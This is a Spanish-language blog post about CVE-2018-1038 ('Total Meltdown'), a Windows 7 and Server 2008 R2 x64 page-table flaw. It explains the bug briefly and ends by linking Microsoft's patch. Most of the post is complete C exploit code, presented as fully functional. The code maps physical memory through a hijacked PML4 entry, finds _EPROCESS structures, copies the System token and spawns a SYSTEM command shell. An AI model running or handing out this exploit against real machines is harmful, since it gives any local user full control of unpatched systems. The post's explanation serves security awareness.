Exploit para escalar privilegios en Windows 7 y Server 2008 R2 x64 mediante CVE-2018-1038 - Total Meltdown

¿Os acordáis de Meltdown? aplicaciones sin privilegios eran capaces de leer la memoria del kernel debido a una característica integrada en las CPUs... Microsoft la parcheó en enero pero al hacerlo abrió un agujero aún peor permitiendo que cualquier proceso pueda leer el contenido completo de la memoria (a velocidades de gigabytes por segundo), incluso escribir en ella.

No se necesitan exploits complejos: Microsoft ya hizo el arduo trabajo en Windows 7 x64 y Server 2008 R2 x64 de mapeo en la memoria requerida en cada proceso en ejecución. La explotación es solo una cuestión de leer y escribir en la memoria virtual en proceso ya mapeada. No se requieren API sofisticadas ni llamadas de sistema, ¡solo lectura y escritura estándar!

El bug radica en que se permite el acceso en user-mode a una entrada (0x1e8) de la tabla de paginado PML4 (Page Map Level 4), una de las cuatro que se utilizan para trasladar direcciones virtuales a físicas. Y aún peor, dicha entrada es usada en Windows 7 y Server 2008 R2 x64 como auto-referenciable (Self-Referencing) lo que significa que cualquier proceso de usuario puede ver y modificar la tabla PML4 y, de forma adyacente, la memoria física. Os recomiendo echar un vistazo al artículo de Adam aka @_xpn_ donde lo explica perfectamente (mis dieses).

Una de las consecuencias de explotar este fallo es la posibilidad de escalar privilegios, como se puede observar en el siguiente vídeo de demo:


Para construir el exploit, "sólo" hay que desarrollar los siguientes pasos:

- Crear un nuevo conjunto de tablas de página que permita acceder a cualquier dirección de memoria física.
- Crear un conjunto de firmas que puedan usarse para buscar estructuras _EPROCESS en la memoria del kernel.
- Encontrar la dirección de memoria _EPROCESS para el proceso en ejecución y para el proceso del Sistema.
- Reemplace el token del proceso en ejecución con el de System, elevando a NT AUTHORITY\System.

Tenéis el código completo y funcional aquí.
#include "stdafx.h"

#define    PML4_BASE    0xFFFFF6FB7DBED000
#define    PDP_BASE    0xFFFFF6FB7DA00000
#define    PD_BASE        0xFFFFF6FB40000000
#define    PT_BASE            0xFFFFF68000000000

int main()
{
    printf("TotalMeltdown PrivEsc exploit by @_xpn_\n");
    printf("  paging code by @UlfFrisk\n\n");
        printf("  https://blog.xpnsec.com/total-meltdown-cve-2018-1038\n\n");

    unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
    DWORD done;

    // Check for vulnerability
    __try {
        int test = *(unsigned long long *)PML4_BASE;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("[X] Could not access PML4 address, system likely not vulnerable\n");
        return 2;
    }

    // setup: PDPT @ fixed hi-jacked physical address: 0x10000
    // This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
    // we can hijack.
    for (iPML4 = 256; iPML4 < 512; iPML4++) {
        vaPML4e = PML4_BASE + (iPML4 << 3);
        if (*(unsigned long long *)vaPML4e) { continue; }

        // When we find an entry, we add a pointer to the next table (PDPT), which will be
        // stored at the physical address 0x10000
        *(unsigned long long *)vaPML4e = 0x10067;
        break;
    }
    printf("[*] PML4 Entry Added At Index: %d\n", iPML4);

    // Here, the PDPT table is referenced via a virtual address.
    // For example, if we added our hijacked PML4 entry at index 256, this virtual address
    // would be 0xFFFFF6FB7DA00000 + 0x100000
    // This allows us to reference the physical address 0x10000 as:
    // PML4 Index: 1ed | PDPT Index : 1ed |    PDE Index : 1ed | PT Index : 100
    vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
    printf("[*] PDPT Virtual Address: %p", vaPDPT);

    // 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
    // Below is responsible for adding 31 entries to the PDPT
    for (iPDPT = 0; iPDPT < 31; iPDPT++) {
        *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
    }

    // For each of the PDs, a further 512 PT's are created. This gives access to
    // 512 * 32 * 2mb = 33gb physical memory space
    for (iPDPT = 0; iPDPT < 31; iPDPT++) {
        if ((iPDPT % 3) == 0)
            printf("\n[*] PD Virtual Addresses: ");

        vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
        printf("%p ", vaPD);

        for (iPD = 0; iPD < 512; iPD++) {
            // Below, notice the 0xe7 flags added to each entry.
            // This is used to create a 2mb page rather than the standard 4096 byte page.
            *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
        }
    }

    printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");

    #define EPROCESS_IMAGENAME_OFFSET 0x2e0
    #define EPROCESS_TOKEN_OFFSET 0x208
    #define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base

    unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
    unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    printf("[*] Hunting for _EPROCESS structures in memory\n");
    for (unsigned long long i = 0x100000; i < 31 * 512 * 2097152; i++) {
        __try {
            // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
            if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
                if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                    ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                    printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
                }
            }
            // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
            else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
                if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                    systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                    printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
                }
            }

            if (systemEPROCESS != 0 && ourEPROCESS != 0) {
                // Swap the tokens by copying the pointer to System Token field over our process token
                printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
                *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
                printf("[*] Done, spawning SYSTEM shell...\n\n");

                CreateProcessA(0,
                    "cmd.exe",
                    NULL,
                    NULL,
                    TRUE,
                    0,
                    NULL,
                    "C:\\windows\\system32",
                    &si,
                    &pi);
                break;
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            printf("[X] Exception occured, stopping to avoid BSOD\n");
            return 2;
        }
    }
    return 0;
}

Por último, Microsoft ha publicado el parche para esta vulnerabilidad, bautizada como CVE-2018-1038, así que toca parchear rápido:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1038

Comentarios

Publicar un comentario